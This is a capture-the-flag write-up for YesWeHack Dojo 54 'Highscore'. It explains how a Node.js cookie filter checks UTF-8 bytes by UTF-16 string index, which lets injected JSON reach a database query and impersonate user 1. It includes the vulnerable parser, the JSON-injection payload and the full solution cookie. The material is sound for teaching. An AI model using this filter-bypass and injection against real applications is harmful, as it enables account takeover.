~/ Home Projects Tools Link
Writeups
hackthebox/
  • 2million
  • Facts
  • Checkpoint
  • Enigma
  • Nimbus
  • Reactor
  • Layover
  • Stream
  • Dutybound
  • tryhackme/
  • Highschool
  • Ignite
  • JokerCTF
  • Lazy Admin
  • Lightroom
  • Lookup
  • Love Connect
  • Love note
  • Pyrat
  • Startup
  • Tryheartme
  • Valenfind
  • Valley
  • When hearts collide
  • Wonderland
  • yeswehack/
  • Streamcore
  • Highscore
  • YWH - Dojo 54 - Highscore


    For this challenge, we need to exploit the applications parsing of user cookies. The vulnerability is found in the missmatch between Javascript string and UTF-8 byte indexing.

    By bypassing the filter we inject additional JSON data, this data will then be passed as database query allowing us to impersonate a user.

    Session string example:

    bob:RkxBR3tWZXJpZnlfdGhpc19mbGFnfQ

    The application uses the cookie to construct an object that is subsequently passed to the database through Users.findOne().

    The vulnerability:

    function parseCookie(raw) {
      const sep = raw.indexOf(':'); // Determine the separator
      const id = Number(raw.slice(0, sep)); // Grab the numbers on the left side of ':'
      const session = raw.slice(sep + 1); // Grab the session string to the right of ':' as utf-16
      
      const bytes = Buffer.from(session, 'utf8'); // Bytes = to session string UTF-16 as UTF-8
      
      for (let i = 0; i < session.length; i++) {
        const b = bytes[i];
        const isLetter =
        (b >= 0x41 && b <= 0x5a) || // a-z
        (b >= 0x61 && b <= 0x7a) || // A-Z
        b >= 0x80; // Rejects ASCII digits and punctuation, but it accepts non-ASCII bytes.
        
        if (!isLetter) {
          throw new Error('invalid game session');
          }
        }
        
        return JSON.parse(
          `{"id":${id}, "session":{"session":"${session}"}}`
          );
      }

    The important bits: - The input is split at the first colon to extract the ID and session. - The session is converted into a UTF-8 buffer from UTF-16. - The session is directly casted into a JSON string, which gets directly parsed.

    The payload:

    # Make sure you have enough buffer length
     , "session":{"id":1}, "something": {"anything":"

    What matters here is that we choose the user session with the id of 1. This is for the user that holds our flag.

    Simple enough, if this was all but we still need to defeat the filter final boss.

    Bypassing the filter:

    Here’s the relevant code:

    const bytes = Buffer.from(session, 'utf8');
    
    for (let i = 0; i < session.length; i++) {
      const b = bytes[i];
      
      const isLetter =
      (b >= 0x41 && b <= 0x5a) ||
      (b >= 0x61 && b <= 0x7a) ||
      b >= 0x80;
      
      if (!isLetter) {
        throw new Error('invalid game session');
        }
      }

    Here are the 3 conditions to beat: 1. (b >= 0x41 && b <= 0x5a) - This accepts uppercase ASCII letters, A to Z. 2. (b >= 0x61 && b <= 0x7a) - This accepts lowercase ASCII letters, a to z. 3. b >= 0x80; - This rejects ASCII digits and punctuation, but it accepts non-ASCII bytes.

    The missmatch:

    The missmatch arise from two different expressions.

    Missmatching expressions 1:

    session.length

    Missmatching expressions 2:

    bytes[i]

    JavaScript strings are indexed by UTF-16 code units, whereas Buffer.from(session, ‘utf8’) produces a sequence of UTF-8 bytes.

    These are different representations of the same input, and their lengths and indices do not necessarily correspond.

    For example, consider the character ij (U+0133). Its UTF-8 encoding is:

    C4 B3

    But the character occupies only one UTF-16 code unit in the JavaScript string. The filter reads the byte at the corresponding index in the UTF-8 buffer. For this character, that byte is 0xC4, which passes the filter because it is greater than or equal to 0x80.

    This lets us use non-ASCII characters whose UTF-8 bytes pass the filter while their JavaScript string representation is later interpreted differently by the parser.

    It is important to note that the filter does not simply truncate a UTF-16 register to eight bits! This is not assembly! Instead, it indexes a UTF-8 byte buffer using an index derived from the JavaScript string’s UTF-16.

    Putting it all together:

    Solution:

    1:ŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒŒ"}, "session":{"id":1}, "a": {"a":"a

    Let’s go through each part:


    Code sample:

    Server.js:

    function parseCookie(raw) {
      const sep = raw.indexOf(':');
      const id = Number(raw.slice(0, sep));
      const session = raw.slice(sep + 1);
    
      const bytes = Buffer.from(session, 'utf8');
      for (let i = 0; i < session.length; i++) {
        const b = bytes[i];
        const isLetter = (b>=0x41&&b<=0x5a)||(b>=0x61&&b<=0x7a)||b>=0x80;
        if (!isLetter) throw new Error('invalid game session');
      }
    
      return JSON.parse(`{"id":${id}, "session":{"session":"${session}"}}`);
    }
    
    async function main() {
      process.chdir('/tmp/app');
      await init()
      const indexTemplate = ejs.compile(
        fs.readFileSync('views/index.ejs', 'utf-8'),
        { filename: 'views/index.ejs' }
      );
    
      try {
        var output = ""
        const cookie = parseCookie(decodeURIComponent(""));
    
        const record = await Users.findOne({
          where: cookie["session"],
        });
    
        const data = record?.dataValues || null
        
        if (data !== null && data?.session == flag) {
          output = flag
        }
    
    
    
        console.log(indexTemplate({ flag: output }));
      } catch (e) {
        console.log(e);
      }
    }
    
    main()